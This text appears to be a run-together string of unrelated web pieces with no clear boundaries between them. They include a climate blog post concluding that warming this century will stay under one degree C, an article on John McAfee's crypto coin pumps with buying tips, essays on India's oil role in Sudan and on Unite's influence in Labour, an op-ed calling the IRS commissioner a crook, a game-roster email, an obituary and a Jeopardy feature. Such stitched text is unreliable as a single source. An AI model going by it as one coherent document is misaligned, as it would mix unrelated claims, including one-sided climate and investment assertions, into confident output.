Estimates of future atmospheric CO2 values as a result of future emissions, called “scenarios”, fall into two camps—demand driven, and supply driven. A recent paper entitled “The implications of fossil fuel supply constraints on climate change projections: A supply-driven analysis” by J.Wang, et al., paywalled here, has a good description of the difference between demand and supply driven scenarios in their abstract:
ABSTRACT Climate projections are based on emission scenarios.The emission scenarios used by the IPCC and by mainstream climate scientists are largely derived from the predicted demand for fossil fuels, and in our view take insufficient consideration of the constrained emissions that are likely, due to the depletion of these fuels.This paper, by contrast, takes a supply-side view of CO2 emission, and generates two supply-driven emission scenarios based on a comprehensive investigation of likely long-term pathways of fossil fuel production drawn from peer-reviewed literature published since 2000. The potential rapid increases in the supply of the non-conventional fossil fuels are also investigated. Climate projections calculated in this paper indicate that the future atmospheric CO2 concentration will not exceed 610 ppm in this century;
The obvious advantage of supply-driven projections is clear—they represent our best estimate of what will be physically possible based on our best estimates of how much fossil fuel we can actually produce over the coming century.
Here is their description of how they put together their best estimate of the future oil production.
We assembled 116 long-term forecasts for the global production of fossil fuels (oil, gas or coal), using peer-reviewed literature published since 2000, and recent reports from the mainstream energy forecasting agencies. These comprised 36 forecasts for conventional oil, 18 for conventional gas, 18 for coal, 29 for non-conventional oil and 15 for non-conventional gas. We assumed the forecasts to be equally likely, and statistically combined the range of possible combinations to yield median and probabilistic values for total global fossil fuel production.
Sounds like how I’d do it. Figure 1 shows their estimate of future conventional and unconventional fossil fuel production.
Figure 1. ORIGINAL CAPTION: Fig.1. Mean value of expected future supply of global fossil fuel resources, based on peer-reviewed literature and on forecasts from the mainstream energy institutes. Note that the production of coal is treated as solely a conventional fossil fuel; while both oil and gas production have conventional and nonconventional components.
I found this graph most interesting. I see that I’ve been mentally overestimating the effect of unconventional oil and gas on the total amount of fossil fuels that will be available over the 21st century.
From this estimate of future production, they derived two estimates of the peak values in the 21st century. Using just conventional fossil fuels, they estimate a peak value for atmospheric CO2 in the 21st century of 550 ppmv. If you add in “unconventional” fossil fuels (fracked oil and gas) they get 610 ppmv.
Now that was interesting, but what was more interesting was that they compared their results to fourteen other supply-driven CO2 estimates that have been done since 2008. Here is that comparison.
Figure 2. ORIGINAL CAPTION: Fig. 5. Comparison of atmospheric CO2 concentration under SD [supply-driven] scenarios with those from a range of current literature that examines ‘supply-driven’ fossil fuel emission scenarios.
Seeing that, I digitized the peak values for each of those sixteen scenarios. This gives me a distribution of best estimates of how high the atmospheric CO2 levels will go in the 21st century.
Finally, I converted those peak CO2 values to the corresponding temperature change that would happen IF the current central climate paradigm is true. This paradigm is the claim that temperature varies as some constant “lambda” times the variation in forcing (downwelling radiation). I do not think this paradigm is an accurate description of reality, but that’s a separate question. Their constant “lambda” is also called the “equilibrium climate sensitivity” or ECS.
The value of the climate equilibrium sensitivity constant (ECS) is the subject of great debate and uncertainty. For years the IPCC gave a range of 3 ± 1.5 degrees C of warming per doubling of CO2. In the most recent IPCC report, things were even more uncertain, with no central value being given.
Now the ECS, the equilibrium climate sensitivity, refers to the eventual projected temperature change measured hundreds of years after an instantaneous doubling of CO2. There is also a constant for the response to a gradual increase in CO2. This is called the Transient Climate Response, or “TCR”. Here’s a definition from Implications for climate sensitivity from the response to individual forcings, by Kate Marvel, Gavin Schmidt, et al.:
Climate sensitivity to doubled CO2 is a widely-used metric of the large-scale response to external forcing. Climate models predict a wide range for two commonly used definitions: the transient climate response (TCR: the warming after 70 years of CO2 concentrations that rise at 1% per year), and the equilibrium climate sensitivity (ECS: the equilibrium temperature change following a doubling of CO2 concentrations).
If we want to see what temperature change we can theoretically expect during the 21st century from the possible atmospheric CO2 scenarios shown in Figure 2, obviously the value to use is the TCR. However … just like with the ECS, the TCR is also the subject of great debate and uncertainty.
In the paper by Marvel et al. I just quoted from, they purport to calculate the ECS and the TCR from three observational datasets. Using the traditional methods they find an average TCR of 1.3 °C per doubling of CO2 (ECS = 1.9 °C/2xCO2). Dissatisfied with that result, they then adjusted the outcome by saying that one watt per square metre of forcing from CO2 has a different effect on the temperature from that of one watt per square metre of solar forcing, and so on. Is their adjustment valid? No way to know.
You will not be surprised, however, when I tell you that after their adjustment things are Worse Than We Feared™, with the transient climate response (TCR) now re-estimated at 1.8 °C per doubling of CO2 (ECS increases to 3.1 °C/2xCO2). I have used both the low and the high TCR estimates in the following analysis.
Please note that I am using their paradigm (temperature follows forcing) and their values for TCR. Let me emphasize that I do not think that the central paradigm is how the climate works. I am simply following through on their own logic using their own data.
Figure 3 shows a “boxplot” of the sixteen different estimates of the peak 21st century atmospheric CO2 concentration. To the left of the boxplot are the values of the extremes, the quartiles, and the median of the 16 atmospheric CO2 estimates. To the right of the boxplot I show the various estimates of the temperature change from the present IF the “temperature slavishly follows forcing” climate paradigm is true. Finally, the blue dots show the actual estimates of peak 21st century CO2 values. They are “jittered”, meaning moved slightly left and right so that they don’t overlap and obscure each other.
Figure 3. Boxplot of sixteen estimates of peak CO2 values in the 21st century, along with projected warming from the present temperature. Green area shows the “inter-quartile range”, the area that contains half of the data.
Now, recall that we are looking at estimates of the peak values of CO2 during the century. As a result, the temperatures shown at the right of Figure 3 are the maximum projected temperature rises given those assumptions about the future availability of fossil fuels.
So what all of this says is as follows:
The highest possible projected temperature rise from fossil fuel burning over the rest of the 21st century is on the order of three-quarters of a degree C.
The mid-range projected temperature rise is on the order of half a degree C. If one were to bet based on these results, that would be the best bet.
The lowest possible projected temperature rise is on the order of one or two tenths of a degree C.
=============
Here’s the takeaway message. Using the most extreme of the 16 estimates of future CO2 levels along with the higher of the two TCR estimates, in other words looking at the worst case scenario, we are STILL not projected to reach one measly degree C of warming by the year 2100.
More to the point, the best bet given all the data we have is that there will only be a mere half a degree C of warming over the 21st century.
Can we call off the apocalypse now?
Here it is a sunny noontime after some days of rain. I am more than happy that it is warmer than yesterday. I’m going to go outside, take my shirt off, and charge my solar batteries.
Warmest regards,
w.
As Usual, I politely request that in your comments you QUOTE THE EXACT WORDS YOU ARE DISCUSSING, so we can all understand your exact subject.
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RedditJohn McAfee has managed to literally raise the dead with his daily coin picks, and after what he did with Verge (XVG), which grew from under $0.01 to over $0.25, he is at the center of massive hype, pumps and dumps, fake accounts and Twitter bots.
Last week, McAfee shared that he would be announcing a new coin every day as his recommendations for people who want to invest in projects that have strong future prospects. He started with Electroneum, then did DigiByte, then Reddcoin and today, on Christmas, he Tweeted about Humaniq.
As usual, his Tweet resulted in a major pump, with Humaniq (HMQ), going from $0.44 to almost $1, in seconds, before dumping down to $0.60 and stabilizing around that range.
However, as many people reported on Twitter, the price had gone up majorly right after the Tweet, not leaving enough time for a buy-in. Others have also been pointing towards increasing volumes in some of the coins, leading up to McAfee’s recommendations.
McAfee has officially denied taking any positions in the coins he recommends, and while people have been posting screenshots of his alleged conversations, asking for 25 BTC and 15% of all coins, they are from fake accounts, particularly one which uses the @officiaimcafee handle (note how officiai is used instead of official, and the ‘i’ is capitalized).
Given how McAfee’s Tweets lead to obvious surges in coin prices as people move in, it is not surprising that Twitter bots have been programmed specifically to pick coin names from McAfee’s Tweets and then have trading bots buy them up instantly before dumping them on human entrants.
Acknowledging this, McAfee shared that he is working on ways to fail bots, and may resort to recommendations using images, which are typically harder (but not impossible) for bots to decipher.
McAfee has, no doubt, managed to add an exciting new dimension to the crypto market with his coin picks, and since there is a lot of money involved, the whole thing naturally attracts parties with not so noble intentions.
If you are interested in buying McAfee’s recommendations for the long run, it is recommended not to buy instantly after his Tweets, and wait for the price to stabilize. Meanwhile, always make sure that the messages and Tweets you refer to are from the @officialmcafee handle, with Twitter’s verified account label (blue check).India’s engagement in the Sudan—from investments in energy infrastructure to its involvement in a peace process between Juba and Khartoum—demonstrates an important union of New Delhi’s strategic interests and ‘soft’ power.
From 2004 to 2009, mass killings that the United Nations called ‘genocide’ raged in the Darfur region of Western Sudan. In response to a local uprising by Darfuri rebel groups in 2003, the Sudanese government in Khartoum, led by Omar Al-Bashir’s National Islamic Front party, launched a retaliatory counter-insurgency. Bashir recruited Arab horsemen or ‘Janjaweed’ from northern and central Sudan to attack Darfuri civilians in order to catch the few insurgents among them, in a policy that was likened to “killing the fish by draining the water.” Over the course of five years, upwards of 400,000 people died of mass homicide or forced starvation and three million were displaced. Janjaweed incursions spread westward into Chad, turning the domestic genocide into an international war. Meanwhile, Khartoum denied aid workers access to internally displaced person (IDP) camps, exacerbating the humanitarian crisis.
When the United States, European Union, African Union, United Nations, and Arab League sought to intervene to prevent further atrocities, countries like China and Russia prevented any external intervention in Sudan from coming to fruition. Beijing and Moscow used their clout in the UN Security Council to veto any resolutions calling on intervention or otherwise condemning Khartoum. China’s National Petroleum Company—along with Malaysia’s Petronas, Qatar’s Gulf Petroleum Corporation, and other companies—had large investments in Sudan’s energy sector, and hoped to keep their investments intact. Sudan was among the fastest growing oil markets in Africa, with 75 percent of the region’s reserves located in southern Sudanese provinces (delineated in red on map).
The link between petroleum and conflict in Sudan has been strong. On one hand, out of a desire to exploit potentially oil-rich land, Khartoum has displaced local populations of different regions in order to explore oil possibilities. These displacement campaigns have resulted in large-scale humanitarian crises such as mass murder, internally displaced persons (IDPs), civil strife, disease and starvation.
On the other hand, Khartoum has spent nearly 80 percent of the revenue it has received from petroleum and other energy based infrastructure—which makes up the majority of its international trade—on aircraft, weapons, and other military equipment from China and Russia so that indigenous militias can ‘protect’ oil development projects from Sudan’s own civilians. The aircraft and helicopters used in Sudanese Air Force air strikes on Darfuri villages, as well as the Kalashnikov and machetes used by the Janjaweed after the air raids to destroy what is left, are largely of Chinese origin, purchased from oil revenue. These had been common practices since the 1970s, when then-President Ja’afar Nimeiri granted large oil concessions to the oil companies Chevron and Total, and focused his military campaign on southern Sudan.
From late 2002, Oil and Natural Gas Corporation Videsh Limited (OVL), the international branch of India’s energy acquisition company ONGC, has been purchasing petroleum excavation and related infrastructure development project bids in Sudan from other multinational companies. These companies—most notably Canada’s Talisman, Sweden’s Lundin, and Austria’s OMV—had been pulling out of Sudan due to the deteriorating security situation around their concessions, as well as human rights concerns expressed by both shareholders and citizens in their countries. OVL took over nearly a quarter of the Greater Nile Petroleum Operating Company (GNPOC) conglomerate, and a number of additional petroleum reserve blocks of its own, including blocks 2, 5A, and 5B. Beyond mere oil concessions, India undertook a contract to build a 1.2 billion USD oil refinery, and a 200 million USD multi-product export pipeline from Khartoum refinery to Port Sudan on the Red Sea. Bharat Heavy Electricals Ltd. (BHEL) signed a contract with the government of Sudan in September 2005 to build, among other infrastructure, a power generation plant in the central Sudanese White Nile state.
The link between human rights violations and India’s economic investments in Sudan is less direct. But India’s investments have inarguably added to Khartoum’s military coffers. When questioned about Indian investment vis-à-vis the human rights situation in Sudan in 2002, then-Minister of Petroleum and Natural Gas of India Ram Naik said, “I know in the U.S.A. or Canada these feelings are there. But we in India don’t have such feelings on this issue. We feel the investments there are safe and, since it’s a producing field, we are keen to have it. My greatest interest is to have equity oil as soon as possible.” Indeed, the position was in line with two traditional tenets of India’s realist-oriented foreign policy: non-intervention in the internal affairs of countries outside of South Asia, and a view that strategic and economic interests alone ought to determine New Delhi’s foreign policy actions.
From 2005, rights activists in the UK and US set divestment from Sudan as a tactical goal, citing the correlation between oil revenues and violence. The case of Indian divestment, however, was double-edged. Indian disinvestment from Sudan may well have made a punitive statement by linking Khartoum’s actions with retracted Indian funds. But it also would have restricted Indian access to Sudanese energy resources, while the relinquished contracts would likely have been given—on preferential financial terms—to firms from places like China, which actively supported Khartoum’s actions, and whose investment may have worsened the human security situation in Sudan. Indeed, China’s ability to fill any void was India’s particular concern—as it has been in places like Iran and Myanmar.
Yet India’s “national interest”, which includes securing access to stable sources of energy, is not incompatible with interventions that would ensure a peaceful, stable Sudan; in fact, quite the contrary. Ensuring the stability of a foreign investment changes the nature of a “strategic interest” that would influence foreign policy decisions. And even investments in another country’s economy are interventions in the internal affairs of that country.
Years and two Ministers of Petroleum and Natural Gas after Ram Naik’s pronouncement, OVL realised that the political situation in Sudan had become precarious enough to merit a little concern for the security of its own investments, if not Sudan itself, and took out political risk insurance for its second phase of investment in Sudan. And particularly as Indian projects traversed Sudan’s geography—from Jonglei province in the south, to the central Kordofan and Upper Nile provinces, through the pipeline in Sudan’s northeast—international war (between Sudan and Chad, Ethiopia, or Uganda) or internal conflict and genocide (in Darfur, southern Sudan, and the Nuba and Beja Mountains in the East) could implicate India’s own assets.
While the conflict in Darfur abated in 2009-10, the “Comprehensive Peace Agreement” of 2005 was to set the parameters for a final settlement between Khartoum and Juba, the capital of South Sudan. From that process, a June 2011 referendum resulted in the secession of South Sudan and its establishment as an independent country. Yet questions of which parts of which provinces—including oil fields—would go to which country remained unresolved. Hoping to seize some of the petroleum fields of regions under Juba’s jurisdiction, in late 2011 Khartoum began redeploying aircraft and militias against its own Nuba Mountains and South Sudan, which in turn reciprocated and cut off oil supplies, reigniting conflict in the region.
In April of 2012, India saw that conflict between Sudan and South Sudan was affecting the stability of its own investments, and publicly sent a special envoy to mediate between Khartoum and Juba. The decision to intervene diplomatically was made after Beijing announced its own decision to arbitrate between the two sides.
While emanating from ‘self’ interest, the move signifies a major development in India’s extra-regional engagement, demonstrating a union of its strategic interests and its ‘soft’ power. For decades, India tried to project its mere existence as a democracy as a source of influence. To those more interested in their own bottom line than in inspirational stories, this meant very little. Yet as countries like South Sudan emerge from instability, come into their own as nations, and endeavor to build up democratic governance, lessons from India’s domestic experiences, intertwined with its strategic interest, can be of great assistance.
In fact, India’s soft power edge may give it a strategic advantage. The US and Europe often have limited credibility in Africa and the Middle East due to their imperial legacies, while China, despite its hands-off reputation, effectively sides with status quo interests. For this reason, the South Sudanese have a relatively poor view of Beijing, which has long supported their oppressors in Khartoum. Chinese development projects import Chinese labor, while Indian investments employ locals. The presence of integrated Indian Diasporas in East Africa and the influence they bring, meanwhile, has facilitated New Delhi’s ensuing economic engagement. As South Sudan endeavors to integrate with the countries of East Africa—including with an oil pipeline to Kenya’s Lamu port to reduce its dependence on Port Sudan and Khartoum—India’s touch may be helpful.
As India’s own stake in the stability of places like Africa grows, exercising its particular influence for mutually beneficial aims will increasingly be in the interest of both New Delhi and African countries themselves.Democratic front-runner Hillary Clinton's Indian-American supporters have launched a nation-wide group to back her bid for winning the party's presidential nomination.
Describes itself as a nationwide grassroots volunteer organisation, the Indian-Americans for Hillary (IAFH) group said on Monday that it will hold its inaugural event in Gaithersburg, Maryland in Washington DC on April 24.
"It is important to mobilise support of millions of Indian Americans living here in the US for Secretary Hillary Clinton enable them to go out and vote (GOTV) for electing Hillary Clinton as our next President. This organisation has been created primarily to achieve this goal," the website said.
The inaugural event and rally by Indian-Americans for Hillary would be addressed by John Podesta national campaign chair for the Clinton Campaign and Neera Tandon, president and COO of Center for American Progress.
An eminent Indian American, Tandon is one of the close confidant of Clinton. Noting that Clinton has thousands of Indian-American friends across the US, IAFH said that she had been to India four times as first lady, senator, and Secretary of State.
"Hillary Clinton's connection with India goes back a long way. She visited India as First Lady in March 1995 with her daughter Chelsea and President Bill Clinton. Since then, popular lore has it that she was a friend of India in the White House," it said.
"Having traveled extensively in India, she has a much deeper level of familiarity with India than any other candidate in the race," it said.
The group was launched to network leaders and advocates who share Clinton's values, her vision for country, and a commitment to mobilising the resources and ideas needed to compete and win in partnership with the Indian-American community, it said on its website.
This also serves as a vehicle to demonstrate coalition support for Hillary and move the conversation forward on issues important to the Indian-American community, it said.
In a rally earlier this year, Clinton had acknowledged that Indian-Americans were the nation's fastest growing racial minority.
As Secretary of State her focus on rebalancing US foreign policy toward Asia contained a strong emphasis on expanding ties with India, the group said, adding that during her tenure the US and India worked to ensure closer cooperation in high technology areas, particularly in defense and space.
IAFH said Clinton had promised that she will fix the nation's broken immigration system, improve access to higher education and increase wages all issues are extremely important for the Indian-American electorate.
"Indian Americans need comprehensive immigration reform that includes a path to full and equal citizenship. Only Hillary, as President, can act on these issues in a jiffy," it said.
IAFH is second such group after Indian Americans for Trump 2016, which was launched in New Jersey in January.The final list of characters that Paul Gale Network has in PlayStation All-Stars Battle Royale, has been sent to SuperBot. Here’s the e-mail.
SuperBot Entertainment, you’ve been great. I pose here to salute your logo!
First of all, due to a discussion that I had with my friend over the weekend, I had to refrain from sending SuperBot any e-mail until today. That being said, here’s what I sent them.
Start
**** *********** Division:
Character(s)
*** *********** Division:
Character(s)
*** *********** Division:
Character(s)
That rounded out the complete list that I was given, tallying XX characters for the game in total. It was not mentioned to me whom from that list would be available on the disc, as is, whom might be unlockable if you went that route, or whom would me made available exclusively as DLC. Furthermore, it was being speculated that your team was in a negotiation state with *******, in determining whether to use ******, ****, or ******. ****** was said to be the most likely ********** ***** candidate, as it would correlate with *** *** ****** release. Finally, ***** inclusion was unknown, but being considered after SuperBot began to read fans’ own wishlists across the internet…but unknown as to whether or not *** made it in. That’s what I was given. With those last two, IF they made it, and IF all information that was provided to me was as correct as the first batch of 20 that I received periodically, the complete roster of PlayStation All-Stars Battle Royale would equal ** when all DLC was complete.
I really don’t want to put this story up if it’s going to spoil anything for you. I know you all worked hard and believe me, for one single person to come from one relatively small site in comparison to what’s out there and to be the “voice” behind this game for a year now, it’s been a great experience affecting millions world wide, all the while building up hype for your game, creating early talk, pre-orders, a hopeful increase in sales, and a linkage and story unlike any other in this industry before. It’s been an honor, being chosen and given the information by my friend, to promote the game and even know about it for as long as I have.
Unless you tell me not to put up the aforementioned list, I will put up the information by October 10th. You don’t have to confirm or deny anyone to me. I will abide by your rules if you respond, even with a quote that I would turn into an article, saying that SuperBot told me, “**Here goes what you’d address my audience with**.” Nothing will get out (whether the information I have remaining is accurate or not) and your fans will respect that move by both you and see that I have to remain silent, simultaneously understanding my decision to comply.
Thank you for your time as usual.
Best regards,
Paul Gale
Paul Gale Network
Finish
I sent that exact e-mail a little while ago, of course…without the *’s throughout it. What happens next is completely up to SuperBot. All that I’ve ever shared from the beginning was information that I’ve believed to be accurate. My hints were structured a certain way all this time and with each reveal that passed, they proved to make sense. What is yet to be revealed by me, apparently may or may not be what’s left in the game, but unless SuperBot tells me not to reveal that final list (or share the alleged “final poster” which I still have not seen…assuming I do eventually get it), I will share what remaining information I have with you, by October 10th. Thank you…all of you.
A smile from ear to ear. Yes, this is the best way to represent the final chapter in this saga. Stay tuned…for more is on its way. 🙂
Related stories:
09/28/12 = The talk to the fans.
09/18/12 = What’d you do in 1987?
09/12/12 = Fan art of PGN (and more) in PSASBR.
09/09/12 = Old hints become new again.
09/04/12 = Whose side is Kevin Butler on?
09/02/12 = PGN’s “revealing final content” e-mail to SuperBot.
08/31/12 = First video footage of Nariko and Sir Daniel Fortesque.
08/29/12 = First video footage of Raiden.
08/28/12 = First video footage of Evil Cole McGrath.
08/14/12 = Sackboy, Dante, and Spike confirmations + Free PS Vita version with Cross Buy.
08/14/12 = New “vague” hints on the way.
08/13/12 = PlayStation All-Stars Battle Royale gets delayed to November 20th.
08/11/12 = Original hint for Nathan Drake.
08/11/12 = Don’t fear PSASBR’s final roster.
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Sep. 23, 2017, 7:51 PM GMT / Updated Sep. 23, 2017, 7:51 PM GMT / Source: Variety
LOS ANGELES — Charles Bradley, a soul singer who blossomed late in life, releasing his first album at the age of 62, died Saturday after a battle with cancer. He was 68.
Like his late label mate Sharon Jones — who died last year after a protracted battle with cancer — Florida-born, Brooklyn-reared Bradley was an old-school journeyman R&B performer who was launched to fame via a series of independent releases on Brooklyn's Daptone Records.
Active from the '90s under the moniker "Black Velvet" as a James Brown impersonator, Bradley drew the attention of Daptone co-founder, bandleader and producer Gabriel Roth (aka Bosco Mann), who began releasing singles by the singer in 2002.
Beginning with "No Time For Dreaming" in 2011 and continuing with "Soul of America" in 2012 and "Changes" in 2016, Bradley's Daptone recordings flexed a high-voltage style that harkened back to the '60s work of such deep-soul stars as Brown and Otis Redding. Bradley's career and life, which included a period of homelessness, was considered in Poull Brien's 2012 documentary "Soul of America."
He was diagnosed with stomach cancer in 2016 and underwent treatment, receiving a clean bill of health and releasing his third album, "Changes," later that year.
He went out on tour earlier this year and performed on several television shows — including "The Late Show with Stephen Colbert," "Conan" and "CBS This Morning: Saturday" — a performance that led to an Emmy nomination for Outstanding On-Camera Musical Performance in a Daytime Program.
Singer Charles Bradley and The Extraordinaires perform onstage at Pandora Discovery Den during the 2016 SXSW Music, Film + Interactive Festival at The Gatsby on March 19, 2016 in Austin, Texas. Dave Mangels / Getty Images for Pandora
However, the cancer recently returned, spreading to his liver, and he cancelled tour dates earlier this month. "I love all of you out there that made my dreams come true," he said when announcing the cancellations. "When I come back, I'll come back strong, with God's love. With God's will, I'll be back soon."
Bradley was born Nov. 5, 1948 in Gainesville, Florida, and moved to Brooklyn at the age of 8. He lived all over the country before before returning to New York 20 years ago.
According to a press release, Bradley passed away in Brooklyn on Saturday, surrounded by family and friends including members of the bands he worked closely with: Menahan Street Band, His Extraordinaires, Budos Band and the Jimmy HillAllstarz, his band from his time performing as Black Velvet.Upside Down Mascara by Sephora |
p. Describes sailing and sporting adventures in the northern latitudes. Illustrated. Taylor, Bayard. AT HOME AND ABROAD – A SKETCH-BOOK OF LIFE, SCENERY AND MEN. New York. 1893. 500 p. Decorated cloth. With black-and-white engravings, etc. Torpelius, Z., THE SURGEON’S STORIES – TIMES OF CHARLES XII. Chicago. 1884. 349 p. Third in a series of six Swedish historical romances, translated from the Swedish. Frazer, R. W., BRITISH INDIA. New York. 1897. 399 p. Green decorated cloth. Part of The Story of the Nations Series, in which the story of each nation’s life is related, and its picturesque and noteworthy periods and episodes presented. The total series presents a comprehensive narrative of the chief events in the story of the nations of the world. A bookshelf showing titles of other publications from the History Of The Nations appears in the lower portion of the front cover. Most volumes in series illustrated with black-and-white photographs and drawings and front fold-out maps, etc. Chaillu, Paul Du. MY APINGI KINGDOM: WITH LIFE IN THE GREAT SAHARA, AND SKETCHES OF THE CHASE OF THE OSTRICH, HYENA, &c. New York. 1870. 254p. Beautiful brown decorated cloth. With black-and-white engravings, etc. Duffy, Bella. THE TUSCAN REPUBLICS (FLORENCE, SIENA, PISA, AND LUCCA) WITH GENOA. New York. 1893. 456 p. Green decorated cloth. Part of The Story of the Nations Series, in which the story of each nation’s life is related, and its picturesque and noteworthy periods and episodes presented. The total series presents a comprehensive narrative of the chief events in the story of the nations of the world. A bookshelf showing titles of other publications from the History Of The Nations appears in the lower portion of the front cover. Most volumes in series illustrated with black-and-white photographs and drawings and front fold-out maps, etc. Mahan, A. T., THE GULF AND INLAND WATERS. [Volume III of the Three volume set of The Navy In The Civil War. New York. 1883. 267 p. Blue leather with embossed decoration and gold lettering. This is the third in a three volume set of The Navy In The Civil War: Volume one "The Blockade and the Cruisers" by James Russell Soley, Professor U.S. Navy. Volume two "The Atlantic Coast" by Daniel Ammen, Rear Admiral U.S. Navy. Volume three "The Gulf and Inland Waters" by A.T. Mahan, Commander, U.S. Navy. This is the story of the navy and its engagements during the Civil War. An attractive volume in very good condition with all maps present.by Atul Hatwal
This morning, over at the Telegraph, Dan Hodges reports on Unite’s moves to create a distinct party within the Labour party. At the heart of the union’s plans is a political strategy document. Labour Uncut has managed to get a copy of this strategy and it makes for uncomfortable reading.
Unite Political Strategy
Few would claim the last Labour government to be perfect, but much good was achieved. The minimum wage, the social chapter and unprecedented investment in schools and hospitals are just a few of the positives of which the party can be proud.
But these are all dismissed by Unite in their political strategy. Instead, for them, “the record of the last Labour government was, for the most part, a bitter disappointment”.
It’s worth pausing a moment to reflect on that statement.
These aren’t the words of a fringe group within the union. This document was adopted by the union’s highest decision-making body, the Executive Council. It is the settled view of Labour’s largest donor and affiliate.
The question is: if the spending of the last Labour government on public services was a “bitter disappointment”, what does Unite have in mind?
The strategy is a powerful statement of intent. It’s clear that Unite intend to fundamentally change Labour. The authors review Unite’s past approach to engaging with the party and emphatically point out,
“…for all the talk of ‘reclaiming’ the party, little progress was made. This has led to great frustration within the union, the more so since the party’s requests for financial support from our union and others have continued unabated. So its time for a change.”
In one passage, plans are set out to recruit 5000 new members from Unite into the Labour party. But this is no altruistic membership drive; the purpose of this influx of activists is to control local constituency parties. The strategy baldly states,
“This is emphatically not just a recruitment offensive to benefit the Labour party with passive financial contributors – it is vital if we are to impact on constituency parties”.
The document goes on to outline how these new activists will be marshalled by Unite’s political structures to act as a bloc within CLPs. There will be, “Early meetings of Unite Labour party members in CLPs – an RPC and RPO responsibility”.
RPC stands for Regional Political Committee which brings together Unite’s regional political leadership while RPO refers to the Regional Political Officer, who is responsible for delivering the union’s political plan on the ground.
The strategy is explicit that the Regional Political Committees and Regional Political Officers will ultimately be held accountable by the Executive Council to deliver Unite’s political plans for Labour.
Although unions have always had their own political structures, this marks a radical departure in approach. For the first time, a union will explicitly be building a political hierarchy from the ground up within the Labour party, but directed from outside the party.
Central command and control of this new cadre of Labour activists by Unite, to deliver Unite’s agenda, will create a situation not seen in the Labour party since the mid-1980s.
It’s no coincidence that as the union witchhunt against Progress gathers pace, and the eyes of the party and media are looking to the right, on the left, unnoticed, the Unite political strategy is being put into practice.
The 5000 activists are due to be in place by December 2012.
In one sense, what Unite is doing is perfectly understandable. This organisation gives several million pounds to the Labour party each year. It supplies resources such as phone banks and meeting rooms as well footsoldiers to knock doors and make phone calls. Why shouldn’t the union demand Labour do its bidding?
In every other walk of life, the level of contribution made by Unite would be accompanied by very clear deliverables, enforceable through contract.
Only in politics can this charade persist: where Labour maintains that support from the unions is largesse without strings attached while the Tories persist in their fiction that hard headed businessman are happy to part with millions for nothing in return.
The Unite political strategy shows beyond all doubt that, for Labour, they are moving to end this pretence.
At the moment, the Labour leadership seem to be wilfully ignorant of the shift. But as Unite and the other unions grow in influence, expectations will rise. Power is addictive. Once wielded, its use comes more easily.
Today it is Progress. Easy to look the other way for Labour’s leaders. Convenient even for union ire to be directed at the Blairites. But tomorrow, if and when either Ed Miliband or Ed Balls wanted to repeat their speeches backing public sector pay restraint, what would be the reaction?
If anything, this is the real revelation from the strategy document. That the old settlement is being ripped up by Unite. The political terms of engagement are being re-written. Money and resources will now directly equate to control.
Where Unite lead the other unions are likely to follow. How Labour’s leaders react will determine whether the party has a viable future in the centre ground of British politics.
Atul Hatwal is editor at Uncut
Tags: Atul Hatwal, Len McCluskey, Progress, UnitePresident Trump needs a win. The public would benefit from reassurance about the institutions of government. Luckily, both can be achieved with a single action. Trump should dismiss IRS Commissioner John Koskinen.
By telling the taxman he's fired, the president would re-energize his young administration. More importantly, he would also significantly reform the most loathed agency in Washington. Tax Day provides a perfect chance for this sort of principled populism.
This Tuesday the tax man cometh. Members of the public will dutifully cut the IRS a check. No sane person enjoys this April ritual, but most people understand they should pay their fair share. It's one of the costs of civil society. But as we drop a check in the mail, we should know that the IRS is playing by the rules.
So long as Koskinen stays in his job, taxpayers have no such assurance. He was brought in by President Obama to clean up the IRS in 2013, but has succeeded only in making the agency more corrupt. A political crook and a liar, Koskinen has no place working in the Trump administration.
While it seems like ancient history and still defies the imagination, the IRS systematically harassed and bullied conservatives because of their political opinions. Ahead of the 2012 election, tax agents deliberately slowed the applications of Tea Party organizations seeking tax-exempt status, forcing them to unmask members, reveal donors, and describe activities. Members of one group, the Iowa Coalition for Life, were even asked to detail the contents of their prayers.
Koskinen wasn't calling the shots then, but he hid the full extent of the scandal. First, he obstructed a congressional investigation by allowing tens of thousands of subpoenaed emails to be destroyed. Then over four months, he lied to lawmakers about where that evidence was.
Taxpayers cannot hem and haw as Koskinen did. When the taxman comes knocking, citizens can't destroy records or forget receipts. That sort of behavior would trigger an audit, or worse, lead to jail time. And normally a federal official wouldn't be able to get away with this type of activity. It'd be damning.
But Koskinen set himself above the rules. Trump vows to drain the swamp, and the IRS boss is an especially capable and devious swamp monster. House Republicans have tried shaming, censuring, and even threatening to impeach him. But each time, he's found a way to survive.
The failure of past lawmakers provides Trump a perfect opportunity. As the head of an administrative agency, Koskinen serves at the pleasure of the president. A word from Trump would send him packing and bring closure to the controversy.
A principled power move, firing Koskinen would also provide the White House with a needed influx of political capital. What's more, it would signal the beginning of a new era of good government during the Trump era.Host Alex Trebek takes the stage during the “Jeopardy” Power Players event, taped at DAR Constitution Hall on April 9. (Doug Kapustin/For The Washington Post)
The first of the loyalists took position at 7:30 in the morning. A brutally cold April rain may make daffodils droop, but it cannot daunt these hearty troops.
They are here for “Jeopardy,” Power Players Edition. But really they are here for America. One rooted in facts and truths, governed by rules, research and historical precedents. One in which the smartest person wins.
And they are here, by the thousands, out of love for that greatest of all Americans, Alex Trebek. Never mind that he was born in Canada — that’s a detail we are willing to overlook.
So inside the storied marble walls of DAR Constitution Hall we’ll go, where on Saturday five episodes of “Jeopardy” were taped in front of some 6,000 superfans. And these are not just any episodes. These are the Power Player shows — like Celebrity “Jeopardy,” but with Famous-for-D.C. types.
And so here comes conservative commentator S.E. Cupp, bounding onto the specially constructed stage, to stand before a massive American flag and a somewhat-angry-looking replica of Lincoln in his memorial. It’s not quite 9:30 a.m., but she’s plenty awake, the first to run the traps each of the 15 contestants will encounter before taping begins.
She will answer questions from the media, learn how to use the buzzer — harder than it looks, staffers insist — and, with others, play a practice game with a Trebek stand-in to get the rhythm of the thing.
Her goal for today, it turns out, will be the same as that of every one of her fellow contestants: “Don’t get embarrassed.”
From left, Chuck Todd, S.E. Cupp and Jonathan Franzen take the “Jeopardy” stage. (Doug Kapustin/For The Washington Post)
Next out is that famed man of letters, Jonathan Franzen, wearing dark jeans, mussed hair, sport-coat-no-tie. He’s also wearing a vague look of nausea. Asked about the motto he lives by, Franzen mutters something about Don DeLillo and notes how much he admires St. Francis. Then he’s gone. “He’ll be back in three or four minutes,” his handler assures a colleague. “He just wanted to get off stage.” Writing sweeping, 500-page domestic novels is, apparently, poor preparation for the trials of “Jeopardy.”
